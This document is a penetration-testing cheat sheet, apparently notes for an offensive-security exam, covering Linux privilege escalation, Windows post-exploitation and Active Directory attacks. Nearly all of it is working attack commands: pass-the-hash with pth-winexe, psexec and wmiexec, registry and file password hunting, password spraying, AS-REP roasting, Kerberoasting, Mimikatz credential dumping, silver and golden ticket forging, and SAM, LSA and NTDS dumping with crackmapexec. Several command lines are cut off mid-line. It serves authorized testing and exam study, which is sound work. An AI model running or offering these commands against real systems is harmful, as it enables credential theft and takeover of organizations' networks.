## Pass the Hash

```
#If hashes are obtained though some means then use psexec, smbexec and obtain the shell a
pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXX35b51404ee:e0fb1fb857XXXXXXXX238cbe81fe
```

# Linux Privilege Escalation

## TTY Shell

```
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
```

## Basic

```
find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers
```

## Automated Scripts

```
linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester
```

## Sensitive Information

```
cat .bashrc
env #checking environment variables
watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials
#Process related information can also be obtained from PSPY
```

## Sudo/SUID/Capabilities

💡 GTFOBins: [https://gtfobins.github.io/](https://gtfobins.github.io/)

```
sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
```

## Cron Jobs

```
#Detecting Cronjobs
cat /etc/crontab
crontab -l
```

```
pspy #handy tool to livemonitor stuff happening in Linux
```

## NFS

```
##Mountable shares
cat /etc/exports #On target
showmount -e <target IP> #On attacker
###Check for "no_root_squash" in the output of shares

mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary there
chmod +x <binary>
```

# Post Exploitation

> This is more windows specific as exam specific.

💡 Run WinPEAS.exe - This may give us some more detailed information as no we're a privileged user and we can open several files, gives some edge!

## Sensitive Information

### Powershell History

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_hi

#Example
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost
```

### Searching for passwords

```
dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt
```

### Searching in Registry for Passwords

```
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

💡 Always check documents folders, i may contain some juicy files

### KDBX Files

```
#These are KeyPassX password stored files
cmd> dir /s /b *.kdbx
Ps> Get-ChildItem -Recurse -Filter *.kdbx

#Cracking
keepass2john Database.kdbx > keepasshash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash
```

## Dumping Hashes

1. Mimikatz
2. If this is a domain joined machine, then follow Post-exp steps for AD.

# Active Directory Pentesting

## Enumeration

- To check local administrators in domain joined machine

```
net localgroup Administrators
```

### Powerview

```
Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then chang
Get-NetDomain #basic information about the domain
Get-NetUser #list of all users in the domain
# The above command's outputs can be filtered using "select" command. For example, "Get-N
Get-NetGroup # enumerate domain groups
Get-NetGroup "group name" # information from specific group
Get-NetComputer # enumerate the computer objects in the domain
```

```
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user 
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSessi
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in c
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(secur
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name

# Checking for "GenericAll" right for a specific group, after obtaining they can be conve
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | se

Find-DomainShare #find the shares in the domain

Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts

Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts
```

### Bloodhound

- Collection methods - database

```
# Sharphound - transfer sharphound.ps1 into the compromised machine
Import-Module .\Sharphound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name"

# Bloodhound-Python
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will b
```

- Running Bloodhound

```
sudo neo4j console
# then upload the .json files obtained
```

### PsLoggedon

```
# To see user logons at remote system of a domain(external tool)
.\PsLoggedon.exe \\<computername>
```

## Attacking Active Directory Authentication

💡 Make sure you obtain all the relevant credentials from compromised systems, we cannot survive if we don’t have proper creds.

## Password Spraying

```
# Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success

# Kerbrute
kerbrute passwordspray -d corp.com .\usernames.txt "pass"
```

## AS-REP Roasting

```
impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the has
.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host

hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes
```

## Kerberoasting

```
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host

impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine

hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes
```

## Silver Tickets

- Obtaining hash of an SPN user using **Mimikatz**

```
privilege::debug
sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here
```

- Obtaining Domain SID

```
ps> whoami /user
# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-198737
```

- Forging silver ticket Ft **Mimikatz**

```
kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domair
exit
```

```
# we can check the tickets by,
ps> klist
```

- Accessing service

```
ps> iwr -UseDefaultCredentials <servicename>://<computername>
```

### Secretsdump

```
secretsdump.py <domain>/<user>:<password>@<IP>
```

## Lateral Movement in Active Directory

### psexec - smbexec - wmiexec - atexec

- Here we can pass the credentials or even hash, depending on what we have

```
psexec.py <domain>/<user>:<password1>@<IP>
# the user should have write access to Admin share then only we can get sesssion

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <doma
#we passed full hash here

smbexec.py <domain>/<user>:<password1>@<IP>

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <dom
#we passed full hash here

wmiexec.py <domain>/<user>:<password1>@<IP>

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <dom
#we passed full hash here

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <doma
#we passed full hash here
```

### winrs

```
winrs -r:<computername> -u:<user> -p:<password> "command"
# run this and check whether the user has access on the machine, if you have access then
# run this on windows session
```

## crackmapexec

- If stuck make use of Wiki

```
crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Brutef
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success  #Passworc
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provic
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commar

#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatx --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug
```

## Pass the ticket

```
.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$
```

## Golden Ticket

```
.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-235
misc::cmd
```

```
klist
dir \\<RHOST>\admin$
```